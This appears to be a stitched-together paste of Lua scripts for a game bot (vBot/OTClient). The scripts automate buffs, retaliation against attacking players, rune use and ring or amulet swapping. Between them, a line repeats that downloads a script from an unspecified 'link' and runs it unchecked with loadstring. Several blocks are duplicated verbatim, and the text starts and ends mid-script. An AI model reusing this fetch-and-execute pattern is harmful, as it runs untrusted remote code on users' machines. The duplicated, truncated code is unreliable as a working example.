spellListWindow.ex:setValue(config.exhausted)
spellListWindow.ex.onValueChange = function(widget, value)
config.exhausted = value
end

-- add icon
local icon = addIcon("BuffIcon", {text="Auto\nBuff",item=3064,switchable=true},function(w,on)
config.enabled = on
end)
icon.text:setFont('verdana-11px-rounded')
icon:breakAnchors()
if not config.icon then
icon:hide()
end

-- main loops
-- switches
macro(100,function()
icon.setOn(config.enabled)
buffUi.status:setOn(config.enabled)
icon:move(config.iconPosX,config.iconPosY)
if config.icon then
icon:show()
else
icon:hide()
end
end)
-- auto buff
macro(500,function()
if not config.enabled then return end
if g_game.isAttacking() and config.atk then return end
if isInPz() and config.pz then return end

for e, entry in pairs(config.spellList) do


local spell = entry:split(",")[1]
local cd = tonumber(entry:split(",")[2]) * 1000
-- fix for vbot bug
local a,b,c = modules.gamelib.Spells.getSpellByWords(spell)
local Spells = modules.gamelib.SpellInfo['Default']
local s = Spells[c]
if s then
if type(s.mana) == 'string' then
s.mana = 1
end
end
-- end fix
if canCast(spell) then
cast(spell,cd)
delay(config.exhausted)
return
end
end

end)
end

-- UI.Separator()

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

local ignoreEmblems = {1,4} -- Guild Emblems (Allies)

local ui = setupUI([[
Panel
height: 19

BotSwitch
id: title
anchors.top: parent.top
anchors.left: parent.left
text-align: center
width: 130
!text: tr('Fight Back (Revide)')
font: verdana-11px-rounded

Button
id: edit
anchors.top: prev.top
anchors.left: prev.right
anchors.right: parent.right
margin-left: 3
height: 17
text: Setup
font: verdana-11px-rounded
]])

local edit = setupUI([[


RevideBox < CheckBox
font: verdana-11px-rounded
margin-top: 5
margin-left: 5
anchors.top: prev.bottom
anchors.left: parent.left
anchors.right: parent.right
color: lightGray

Panel
height: 123

RevideBox
id: pauseTarget
anchors.top: parent.top
text: Pause TargetBot
!tooltip: tr('Pause TargetBot While fighting back.')

RevideBox
id: pauseCave
text: Pause CaveBot
!tooltip: tr('Pause CaveBot While fighting back.')

RevideBox
id: followTarget
text: Follow Target
!tooltip: tr('Set Chase Mode to Follow While fighting back.')

RevideBox
id: ignoreParty
text: Ignore Party Members

RevideBox
id: ignoreGuild
text: Ignore Guild Members

RevideBox
id: attackAll
text: Attack All Skulled
!tooltip: tr("Attack every skulled player, even if he didn't attacked you.")

BotTextEdit
id: esc
width: 83
anchors.bottom: parent.bottom
anchors.right: parent.right
text: Escape
color: red
font: verdana-11px-rounded

Label
text: Cancel Attack:
font: verdana-11px-rounded
anchors.left: parent.left
margin-left: 5
anchors.verticalCenter: esc.verticalCenter
]])
edit:hide()

local showEdit = false


ui.edit.onClick = function(widget)
showEdit = not showEdit
if showEdit then
edit:show()
else
edit:hide()
end
end
-- End Basic UI

-- Storage
local st = "RevideFight"
storage[st] = storage[st] or {
enabled = false,
pauseTarget = true,
pauseCave = true,
followTarget = true,
ignoreParty = false,
ignoreGuild = false,
attackAll = false,
esc = "Escape",
}
local config = storage[st]

-- UI Functions
-- Main Button
ui.title:setOn(config.enabled)
ui.title.onClick = function(widget)
config.enabled = not config.enabled
widget:setOn(config.enabled)
end
-- Checkboxes
do
edit.pauseTarget:setChecked(config.pauseTarget)
edit.pauseTarget.onClick = function(widget)
config.pauseTarget = not config.pauseTarget
widget:setChecked(config.pauseTarget)
widget:setImageColor(config.pauseTarget and "green" or "red")
end
edit.pauseTarget:setImageColor(config.pauseTarget and "green" or "red")

edit.pauseCave:setChecked(config.pauseCave)
edit.pauseCave.onClick = function(widget)
config.pauseCave = not config.pauseCave
widget:setChecked(config.pauseCave)
widget:setImageColor(config.pauseCave and "green" or "red")
end
edit.pauseCave:setImageColor(config.pauseCave and "green" or "red")

edit.followTarget:setChecked(config.followTarget)
edit.followTarget.onClick = function(widget)
config.followTarget = not config.followTarget
widget:setChecked(config.followTarget)
widget:setImageColor(config.followTarget and "green" or "red")
end
edit.followTarget:setImageColor(config.followTarget and "green" or "red")

edit.ignoreParty:setChecked(config.ignoreParty)
edit.ignoreParty.onClick = function(widget)
config.ignoreParty = not config.ignoreParty
widget:setChecked(config.ignoreParty)
widget:setImageColor(config.ignoreParty and "green" or "red")
end
edit.ignoreParty:setImageColor(config.ignoreParty and "green" or "red")

edit.ignoreGuild:setChecked(config.ignoreGuild)
edit.ignoreGuild.onClick = function(widget)
config.ignoreGuild = not config.ignoreGuild
widget:setChecked(config.ignoreGuild)
widget:setImageColor(config.ignoreGuild and "green" or "red")
end
edit.ignoreGuild:setImageColor(config.ignoreGuild and "green" or "red")

edit.attackAll:setChecked(config.attackAll)
edit.attackAll.onClick = function(widget)
config.attackAll = not config.attackAll
widget:setChecked(config.attackAll)
widget:setImageColor(config.attackAll and "green" or "red")
end
edit.attackAll:setImageColor(config.attackAll and "green" or "red")
end

-- TextEdit
edit.esc:setText(config.esc)
edit.esc.onTextChange = function(widget, text)
config.esc = text
end
edit.esc:setTooltip("Hotkey to cancel attack.")

-- End of setup.

local target = nil


local c = config

-- Main Loop
macro(250, function()
if not c.enabled then return end
if not target then
if c.pausedTarget then
c.pausedTarget = false
TargetBot.setOn()
end
if c.pausedCave then
c.pausedCave = false
CaveBot.setOn()
end
-- Search for attackers
local creatures = getSpectators(false)
for s, spec in ipairs(creatures) do
if spec ~= player and spec:isPlayer() then
if (c.attackAll and spec:getSkull() > 2) or spec:isTimedSquareVisible() then
if c.ignoreParty or spec:getShield() < 3 then
if c.ignoreGuild or not table.find(ignoreEmblems, spec:getEmblem()) then
target = spec:getName()
break
end
end
end
end
end
return
end

local creature = getPlayerByName(target)


if not creature then target = nil return end
if c.pauseTargetBot then
c.pausedTarget = true
TargetBot.setOff()
end
if c.pauseTarget then
c.pausedTarget = true
TargetBot.setOff()
end
if c.pauseCave then
c.pausedCave = true
CaveBot.setOff()
end
if c.followTarget then
g_game.setChaseMode(2)
end

if g_game.isAttacking() then
if g_game.getAttackingCreature():getName() == target then
return
end
end
g_game.attack(creature)
end)

onKeyDown(function(keys)
if not c.enabled then return end
if keys == config.esc then
target = nil
end
end)

UI.Separator()

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

setDefaultTab("+")
UI.Label("[[ % USAR RUNAS ]]"):setFont("verdana-11px-rounded")
local runeId = 3155
local exhausted = 1000
local minHP = 50 -- self HP percent to stop using runes

panelName = "runa"

local params = {
info = {on=false, title="HP%", item=runeId, min=1, max=100}
}

if not storage[panelName] then storage[panelName] = params end

local config = storage[panelName]

UI.DualScrollItemPanel(config.info, function(widget, newParams)


config.info = newParams
end)

local runeMacro = macro(100,function()


if not config.info.on then return end
if player:getHealthPercent() < minHP then return end
local data = config.info
local target = g_game.getAttackingCreature()
if not target then return end

if target:getHealthPercent() >= data.min and target:getHealthPercent() <= data.max then


useWith(data.item, target)
delay(exhausted)
else
g_game.cancelAttack()
delay(exhausted/3)
end
end)

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

setDefaultTab("+")
UI.Label("[[ % USAR RUNAS ]]"):setFont("verdana-11px-rounded")
local runeId = 3155
local exhausted = 1000
local minHP = 50 -- self HP percent to stop using runes

panelName = "runa"

local params = {
info = {on=false, title="HP%", item=runeId, min=1, max=100}
}

if not storage[panelName] then storage[panelName] = params end

local config = storage[panelName]

UI.DualScrollItemPanel(config.info, function(widget, newParams)


config.info = newParams
end)

local runeMacro = macro(100,function()


if not config.info.on then return end
if player:getHealthPercent() < minHP then return end
local data = config.info

local target = g_game.getAttackingCreature()


if not target then return end

if target:getHealthPercent() >= data.min and target:getHealthPercent() <= data.max then


useWith(data.item, target)
delay(exhausted)
else
g_game.cancelAttack()
delay(exhausted/3)
end
end)

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

setDefaultTab("+")
UI.Label("[[ % USAR RUNAS ]]"):setFont("verdana-11px-rounded")
local runeId = 3155
local exhausted = 1000
local minHP = 50 -- self HP percent to stop using runes

panelName = "runa"

local params = {
info = {on=false, title="HP%", item=runeId, min=1, max=100}
}

if not storage[panelName] then storage[panelName] = params end

local config = storage[panelName]

UI.DualScrollItemPanel(config.info, function(widget, newParams)


config.info = newParams
end)

local runeMacro = macro(100,function()


if not config.info.on then return end
if player:getHealthPercent() < minHP then return end
local data = config.info

local target = g_game.getAttackingCreature()


if not target then return end

if target:getHealthPercent() >= data.min and target:getHealthPercent() <= data.max then


useWith(data.item, target)
delay(exhausted)
else
g_game.cancelAttack()
delay(exhausted/3)
end
end)

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

setDefaultTab("+")
UI.Label("[[ % USAR RUNAS ]]"):setFont("verdana-11px-rounded")
local runeId = 3155
local exhausted = 1000
local minHP = 50 -- self HP percent to stop using runes

panelName = "runa"

local params = {
info = {on=false, title="HP%", item=runeId, min=1, max=100}
}

if not storage[panelName] then storage[panelName] = params end

local config = storage[panelName]

UI.DualScrollItemPanel(config.info, function(widget, newParams)


config.info = newParams
end)

local runeMacro = macro(100,function()


if not config.info.on then return end
if player:getHealthPercent() < minHP then return end
local data = config.info

local target = g_game.getAttackingCreature()


if not target then return end

if target:getHealthPercent() >= data.min and target:getHealthPercent() <= data.max then


useWith(data.item, target)
delay(exhausted)
else
g_game.cancelAttack()
delay(exhausted/3)
end
end)

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

UI.Label("Ring y Amuleto:")

function jewelleryEquip(parent)
if not parent then
parent = panel
end
panelName = "jewelleryEquipper"
local ui = setupUI([[
Panel
height: 135
margin-top: 2

BotItem
id: ringId
anchors.left: parent.left
anchors.top: parent.top

SmallBotSwitch
id: ringSwitch
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: ring
margin-left: 3
margin-right: 45

SmallBotSwitch
id: valueRing
anchors.left: ringSwitch.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: Mana
margin-left: 3
margin-right: 0

BotLabel
id: ringTitle
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: ringId.verticalCenter
text-align: center

HorizontalScrollBar
id: ringScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ringId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1

HorizontalScrollBar
id: ringScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1

BotItem
id: ammyId
anchors.left: parent.left
anchors.top: ringScroll1.bottom
margin-top: 5

SmallBotSwitch
id: ammySwitch
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: amuleto
margin-top: 5
margin-left: 3
margin-right: 45

SmallBotSwitch
id: valueAmmy
anchors.left: ammySwitch.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: Mana
margin-top: 5
margin-left: 3

BotLabel
id: ammyTitle
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ammyId.verticalCenter
text-align: center

HorizontalScrollBar
id: ammyScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ammyId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1

HorizontalScrollBar
id: ammyScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1
Button
id: resetDefault
anchors.top: ammyScroll2.bottom
anchors.left: parent.left
anchors.right: parent.horizontalCenter
margin-top: 10
margin-left: 4
text: Reset

SmallBotSwitch
id: pzCheck
anchors.top: ammyScroll2.bottom
anchors.left: resetDefault.right
anchors.bottom: resetDefault.bottom
anchors.right: parent.right
margin-top: 10
margin-right: 4
margin-left: 4
text: Ignorar PZ

]], parent)
ui:setId(panelName)
if not storage[panelName] or not storage[panelName].ringId or not storage[panelName].ammyId then
storage[panelName] = {
pzCheck = true,
ringSwitch = true,
ammySwitch = true,
ringId = 3048,
ammyId = 3081,
ringMin = 30,
ringMax = 80,
ammyMin = 30,
ammyMax = 80,
valueAmmy = false,
valueRing = false,
ringValue = "HP",
ammyValue = "HP"
}
end

ui.ringSwitch:setOn(storage[panelName].ringEnabled)
ui.ringSwitch.onClick = function(widget)
storage[panelName].ringEnabled = not storage[panelName].ringEnabled
widget:setOn(storage[panelName].ringEnabled)
end
ui.ammySwitch:setOn(storage[panelName].ammyEnabled)
ui.ammySwitch.onClick = function(widget)
storage[panelName].ammyEnabled = not storage[panelName].ammyEnabled
widget:setOn(storage[panelName].ammyEnabled)
end
ui.pzCheck:setOn(storage[panelName].pzCheck)
ui.pzCheck.onClick = function(widget)
storage[panelName].pzCheck = not storage[panelName].pzCheck
widget:setOn(storage[panelName].pzCheck)
end

local updateRingText = function()


ui.ringTitle:setText("" .. storage[panelName].ringMin .. "% <= " .. storage[panelName].ringValue .. " >=
" .. storage[panelName].ringMax .. "%")
ui.ringTitle:setColor("green")
ui.ringTitle:setFont("verdana-11px")
end
local updateAmmyText = function()
ui.ammyTitle:setText("" .. storage[panelName].ammyMin .. "% <= " .. storage[panelName].ammyValue ..
" >= " .. storage[panelName].ammyMax .. "%")
ui.ammyTitle:setColor("green")
ui.ammyTitle:setFont("verdana-11px")
end

ui.valueRing:setOn(storage[panelName].valueRing)
ui.valueRing.onClick = function(widget)
storage[panelName].valueRing = not storage[panelName].valueRing
widget:setOn(storage[panelName].valueRing)
if storage[panelName].valueRing then
storage[panelName].ringValue = "MP"
else
storage[panelName].ringValue = "HP"
end
updateRingText()
end
ui.valueAmmy:setOn(storage[panelName].valueAmmy)
ui.valueAmmy.onClick = function(widget)
storage[panelName].valueAmmy = not storage[panelName].valueAmmy
widget:setOn(storage[panelName].valueAmmy)
if storage[panelName].valueAmmy then
storage[panelName].ammyValue = "MP"
else
storage[panelName].ammyValue = "HP"
end
updateAmmyText()
end

ui.ringScroll1.onValueChange = function(scroll, value)


storage[panelName].ringMin = value
updateRingText()
end
ui.ringScroll2.onValueChange = function(scroll, value)
storage[panelName].ringMax = value
updateRingText()
end
ui.ammyScroll1.onValueChange = function(scroll, value)
storage[panelName].ammyMin = value
updateAmmyText()
end
ui.ammyScroll2.onValueChange = function(scroll, value)
storage[panelName].ammyMax = value
updateAmmyText()
end
ui.ringId.onItemChange = function(widget)
storage[panelName].ringId = widget:getItemId()
end
ui.ammyId.onItemChange = function(widget)
storage[panelName].ammyId = widget:getItemId()
end

ui.ringScroll1:setValue(storage[panelName].ringMin)
ui.ringScroll2:setValue(storage[panelName].ringMax)
ui.ammyScroll1:setValue(storage[panelName].ammyMin)
ui.ammyScroll2:setValue(storage[panelName].ammyMax)
ui.ringId:setItemId(storage[panelName].ringId)
ui.ammyId:setItemId(storage[panelName].ammyId)

local defaultRing
local defaultAmmy
local ringToEquip
local ammyToEquip

-- basic ring check


function defaultRingFind()
if storage[panelName].ringEnabled then
if getFinger() and (getFinger():getId() ~= storage[panelName].ringId and getFinger():getId() ~=
getActiveItemId(storage[panelName].ringId)) then
defaultRing = getFinger():getId()
else
defaultRing = false
end
end
end
defaultRingFind()

-- basic amulet check


function defaultAmmyFind()
if storage[panelName].ammyEnabled then
if getNeck() and (getNeck():getId() ~= storage[panelName].ammyId and getNeck():getId() ~=
getActiveItemId(storage[panelName].ammyId)) then
defaultAmmy = getNeck():getId()
else
defaultAmmy = false
end
end
end
defaultAmmyFind()

ui.resetDefault.onClick = function(widget)
defaultRingFind()
defaultAmmyFind()
end

macro(20, function()
ammyToEquip = findItem(storage[panelName].ammyId)
ringToEquip = findItem(storage[panelName].ringId)

-- basic conditions to met


if not storage[panelName].ringEnabled and not storage[panelName].ammyEnabled then return end
if not storage[panelName].ringEnabled and storage[panelName].ammyEnabled and not ammyToEquip
and (not getNeck() or (getNeck():getId() ~= storage[panelName].ammyId and getNeck():getId() ~=
getActiveItemId(storage[panelName].ammyId))) then return end
if storage[panelName].ringEnabled and not storage[panelName].ammyEnabled and not ringToEquip and
(not getFinger() or (getFinger():getId() ~= storage[panelName].ringId and getFinger():getId() ~=
getActiveItemId(storage[panelName].ringId))) then return end

-- ring unequip conditions


if storage[panelName].ringEnabled and getFinger() and getFinger():getId() ==
getActiveItemId(storage[panelName].ringId) and ((storage[panelName].pzCheck and isInPz()) or (not
storage[panelName].valueRing and hppercent() >= storage[panelName].ringMax) or
(storage[panelName].valueRing and manapercent() >= storage[panelName].ringMax)) then
if defaultRing then
moveToSlot(findItem(defaultRing), SlotFinger, 1)
else
for _,container in pairs(getContainers()) do
g_game.move(getFinger(), container:getSlotPosition(container:getItemsCount()))
return
end
end
end

-- amulet unequip conditions


if storage[panelName].ammyEnabled and getNeck() and getNeck():getId() ==
getActiveItemId(storage[panelName].ammyId) and ((storage[panelName].pzCheck and isInPz()) or (not
storage[panelName].valueAmmy and hppercent() >= storage[panelName].ammyMax) or (not
storage[panelName].valueAmmy and manapercent() >= storage[panelName].ammyMax)) then
if defaultAmmy then
moveToSlot(findItem(defaultAmmy), SlotNeck, 1)
else
for _,container in pairs(getContainers()) do
g_game.move(getNeck(), container:getSlotPosition(container:getItemsCount()))
return
end
end
end

-- ring equip conditions


if storage[panelName].ringEnabled and (not getFinger() or getFinger():getId() ~=
getActiveItemId(storage[panelName].ringId)) and (not storage[panelName].pzCheck or not isInPz()) and
((not storage[panelName].valueRing and hppercent() <= storage[panelName].ringMin) or
(storage[panelName].valueRing and manapercent() <= storage[panelName].ringMin)) then
moveToSlot(ringToEquip, SlotFinger, 1)
end
-- amulet equip conditions
if storage[panelName].ammyEnabled and (not getNeck() or getNeck():getId() ~=
getActiveItemId(storage[panelName].ammyId)) and (not storage[panelName].pzCheck or not isInPz()) and
((not storage[panelName].valueAmmy and hppercent() <= storage[panelName].ammyMin) or
(storage[panelName].valueAmmy and manapercent() <= storage[panelName].ammyMin)) then
moveToSlot(ammyToEquip, SlotNeck, 1)
end
end)
-- end of function
end
jewelleryEquip()

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

UI.Label("Ring y Amuleto:")

function jewelleryEquip(parent)
if not parent then
parent = panel
end
panelName = "jewelleryEquipper"
local ui = setupUI([[
Panel
height: 135
margin-top: 2

BotItem
id: ringId
anchors.left: parent.left
anchors.top: parent.top

SmallBotSwitch
id: ringSwitch
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: ring
margin-left: 3
margin-right: 45

SmallBotSwitch
id: valueRing
anchors.left: ringSwitch.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: Mana
margin-left: 3
margin-right: 0

BotLabel
id: ringTitle
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: ringId.verticalCenter
text-align: center

HorizontalScrollBar
id: ringScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ringId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1

HorizontalScrollBar
id: ringScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1

BotItem
id: ammyId
anchors.left: parent.left
anchors.top: ringScroll1.bottom
margin-top: 5

SmallBotSwitch
id: ammySwitch
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: amuleto
margin-top: 5
margin-left: 3
margin-right: 45

SmallBotSwitch
id: valueAmmy
anchors.left: ammySwitch.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: Mana
margin-top: 5
margin-left: 3
BotLabel
id: ammyTitle
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ammyId.verticalCenter
text-align: center

HorizontalScrollBar
id: ammyScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ammyId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1

HorizontalScrollBar
id: ammyScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1

Button
id: resetDefault
anchors.top: ammyScroll2.bottom
anchors.left: parent.left
anchors.right: parent.horizontalCenter
margin-top: 10
margin-left: 4
text: Reset

SmallBotSwitch
id: pzCheck
anchors.top: ammyScroll2.bottom
anchors.left: resetDefault.right
anchors.bottom: resetDefault.bottom
anchors.right: parent.right
margin-top: 10
margin-right: 4
margin-left: 4
text: Ignorar PZ

]], parent)
ui:setId(panelName)
if not storage[panelName] or not storage[panelName].ringId or not storage[panelName].ammyId then
storage[panelName] = {
pzCheck = true,
ringSwitch = true,
ammySwitch = true,
ringId = 3048,
ammyId = 3081,
ringMin = 30,
ringMax = 80,
ammyMin = 30,
ammyMax = 80,
valueAmmy = false,
valueRing = false,
ringValue = "HP",
ammyValue = "HP"
}
end

ui.ringSwitch:setOn(storage[panelName].ringEnabled)
ui.ringSwitch.onClick = function(widget)
storage[panelName].ringEnabled = not storage[panelName].ringEnabled
widget:setOn(storage[panelName].ringEnabled)
end
ui.ammySwitch:setOn(storage[panelName].ammyEnabled)
ui.ammySwitch.onClick = function(widget)
storage[panelName].ammyEnabled = not storage[panelName].ammyEnabled
widget:setOn(storage[panelName].ammyEnabled)
end
ui.pzCheck:setOn(storage[panelName].pzCheck)
ui.pzCheck.onClick = function(widget)
storage[panelName].pzCheck = not storage[panelName].pzCheck
widget:setOn(storage[panelName].pzCheck)
end

local updateRingText = function()


ui.ringTitle:setText("" .. storage[panelName].ringMin .. "% <= " .. storage[panelName].ringValue .. " >=
" .. storage[panelName].ringMax .. "%")
ui.ringTitle:setColor("green")
ui.ringTitle:setFont("verdana-11px")
end
local updateAmmyText = function()
ui.ammyTitle:setText("" .. storage[panelName].ammyMin .. "% <= " .. storage[panelName].ammyValue ..
" >= " .. storage[panelName].ammyMax .. "%")
ui.ammyTitle:setColor("green")
ui.ammyTitle:setFont("verdana-11px")
end

ui.valueRing:setOn(storage[panelName].valueRing)
ui.valueRing.onClick = function(widget)
storage[panelName].valueRing = not storage[panelName].valueRing
widget:setOn(storage[panelName].valueRing)
if storage[panelName].valueRing then
storage[panelName].ringValue = "MP"
else
storage[panelName].ringValue = "HP"
end
updateRingText()
end
ui.valueAmmy:setOn(storage[panelName].valueAmmy)
ui.valueAmmy.onClick = function(widget)
storage[panelName].valueAmmy = not storage[panelName].valueAmmy
widget:setOn(storage[panelName].valueAmmy)
if storage[panelName].valueAmmy then
storage[panelName].ammyValue = "MP"
else
storage[panelName].ammyValue = "HP"
end
updateAmmyText()
end

ui.ringScroll1.onValueChange = function(scroll, value)


storage[panelName].ringMin = value
updateRingText()
end
ui.ringScroll2.onValueChange = function(scroll, value)
storage[panelName].ringMax = value
updateRingText()
end
ui.ammyScroll1.onValueChange = function(scroll, value)
storage[panelName].ammyMin = value
updateAmmyText()
end
ui.ammyScroll2.onValueChange = function(scroll, value)
storage[panelName].ammyMax = value
updateAmmyText()
end
ui.ringId.onItemChange = function(widget)
storage[panelName].ringId = widget:getItemId()
end
ui.ammyId.onItemChange = function(widget)
storage[panelName].ammyId = widget:getItemId()
end

ui.ringScroll1:setValue(storage[panelName].ringMin)
ui.ringScroll2:setValue(storage[panelName].ringMax)
ui.ammyScroll1:setValue(storage[panelName].ammyMin)
ui.ammyScroll2:setValue(storage[panelName].ammyMax)
ui.ringId:setItemId(storage[panelName].ringId)
ui.ammyId:setItemId(storage[panelName].ammyId)

local defaultRing
local defaultAmmy
local ringToEquip
local ammyToEquip

-- basic ring check


function defaultRingFind()
if storage[panelName].ringEnabled then
if getFinger() and (getFinger():getId() ~= storage[panelName].ringId and getFinger():getId() ~=
getActiveItemId(storage[panelName].ringId)) then
defaultRing = getFinger():getId()
else
defaultRing = false
end
end
end
defaultRingFind()

-- basic amulet check


function defaultAmmyFind()
if storage[panelName].ammyEnabled then
if getNeck() and (getNeck():getId() ~= storage[panelName].ammyId and getNeck():getId() ~=
getActiveItemId(storage[panelName].ammyId)) then
defaultAmmy = getNeck():getId()
else
defaultAmmy = false
end
end
end
defaultAmmyFind()

ui.resetDefault.onClick = function(widget)
defaultRingFind()
defaultAmmyFind()
end

macro(20, function()
ammyToEquip = findItem(storage[panelName].ammyId)
ringToEquip = findItem(storage[panelName].ringId)

-- basic conditions to met


if not storage[panelName].ringEnabled and not storage[panelName].ammyEnabled then return end
if not storage[panelName].ringEnabled and storage[panelName].ammyEnabled and not ammyToEquip
and (not getNeck() or (getNeck():getId() ~= storage[panelName].ammyId and getNeck():getId() ~=
getActiveItemId(storage[panelName].ammyId))) then return end
if storage[panelName].ringEnabled and not storage[panelName].ammyEnabled and not ringToEquip and
(not getFinger() or (getFinger():getId() ~= storage[panelName].ringId and getFinger():getId() ~=
getActiveItemId(storage[panelName].ringId))) then return end

-- ring unequip conditions


if storage[panelName].ringEnabled and getFinger() and getFinger():getId() ==
getActiveItemId(storage[panelName].ringId) and ((storage[panelName].pzCheck and isInPz()) or (not
storage[panelName].valueRing and hppercent() >= storage[panelName].ringMax) or
(storage[panelName].valueRing and manapercent() >= storage[panelName].ringMax)) then
if defaultRing then
moveToSlot(findItem(defaultRing), SlotFinger, 1)
else
for _,container in pairs(getContainers()) do
g_game.move(getFinger(), container:getSlotPosition(container:getItemsCount()))
return
end
end
end

-- amulet unequip conditions


if storage[panelName].ammyEnabled and getNeck() and getNeck():getId() ==
getActiveItemId(storage[panelName].ammyId) and ((storage[panelName].pzCheck and isInPz()) or (not
storage[panelName].valueAmmy and hppercent() >= storage[panelName].ammyMax) or (not
storage[panelName].valueAmmy and manapercent() >= storage[panelName].ammyMax)) then
if defaultAmmy then
moveToSlot(findItem(defaultAmmy), SlotNeck, 1)
else
for _,container in pairs(getContainers()) do
g_game.move(getNeck(), container:getSlotPosition(container:getItemsCount()))
return
end
end
end

-- ring equip conditions


if storage[panelName].ringEnabled and (not getFinger() or getFinger():getId() ~=
getActiveItemId(storage[panelName].ringId)) and (not storage[panelName].pzCheck or not isInPz()) and
((not storage[panelName].valueRing and hppercent() <= storage[panelName].ringMin) or
(storage[panelName].valueRing and manapercent() <= storage[panelName].ringMin)) then
moveToSlot(ringToEquip, SlotFinger, 1)
end
-- amulet equip conditions
if storage[panelName].ammyEnabled and (not getNeck() or getNeck():getId() ~=
getActiveItemId(storage[panelName].ammyId)) and (not storage[panelName].pzCheck or not isInPz()) and
((not storage[panelName].valueAmmy and hppercent() <= storage[panelName].ammyMin) or
(storage[panelName].valueAmmy and manapercent() <= storage[panelName].ammyMin)) then
moveToSlot(ammyToEquip, SlotNeck, 1)
end
end)
-- end of function
end
jewelleryEquip()

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

UI.Label("Ring y Amuleto:")

function jewelleryEquip(parent)
if not parent then
parent = panel
end
panelName = "jewelleryEquipper"
local ui = setupUI([[
Panel
height: 135
margin-top: 2
BotItem
id: ringId
anchors.left: parent.left
anchors.top: parent.top

SmallBotSwitch
id: ringSwitch
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: ring
margin-left: 3
margin-right: 45

SmallBotSwitch
id: valueRing
anchors.left: ringSwitch.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: Mana
margin-left: 3
margin-right: 0

BotLabel
id: ringTitle
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: ringId.verticalCenter
text-align: center

HorizontalScrollBar
id: ringScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ringId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1

HorizontalScrollBar
id: ringScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1
BotItem
id: ammyId
anchors.left: parent.left
anchors.top: ringScroll1.bottom
margin-top: 5

SmallBotSwitch
id: ammySwitch
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: amuleto
margin-top: 5
margin-left: 3
margin-right: 45

SmallBotSwitch
id: valueAmmy
anchors.left: ammySwitch.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: Mana
margin-top: 5
margin-left: 3

BotLabel
id: ammyTitle
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ammyId.verticalCenter
text-align: center

HorizontalScrollBar
id: ammyScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ammyId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1

HorizontalScrollBar
id: ammyScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1

Button
id: resetDefault
anchors.top: ammyScroll2.bottom
anchors.left: parent.left
anchors.right: parent.horizontalCenter
margin-top: 10
margin-left: 4
text: Reset

SmallBotSwitch
id: pzCheck
anchors.top: ammyScroll2.bottom
anchors.left: resetDefault.right
anchors.bottom: resetDefault.bottom
anchors.right: parent.right
margin-top: 10
margin-right: 4
margin-left: 4
text: Ignorar PZ

]], parent)
ui:setId(panelName)
if not storage[panelName] or not storage[panelName].ringId or not storage[panelName].ammyId then
storage[panelName] = {
pzCheck = true,
ringSwitch = true,
ammySwitch = true,
ringId = 3048,
ammyId = 3081,
ringMin = 30,
ringMax = 80,
ammyMin = 30,
ammyMax = 80,
valueAmmy = false,
valueRing = false,
ringValue = "HP",
ammyValue = "HP"
}
end

ui.ringSwitch:setOn(storage[panelName].ringEnabled)
ui.ringSwitch.onClick = function(widget)
storage[panelName].ringEnabled = not storage[panelName].ringEnabled
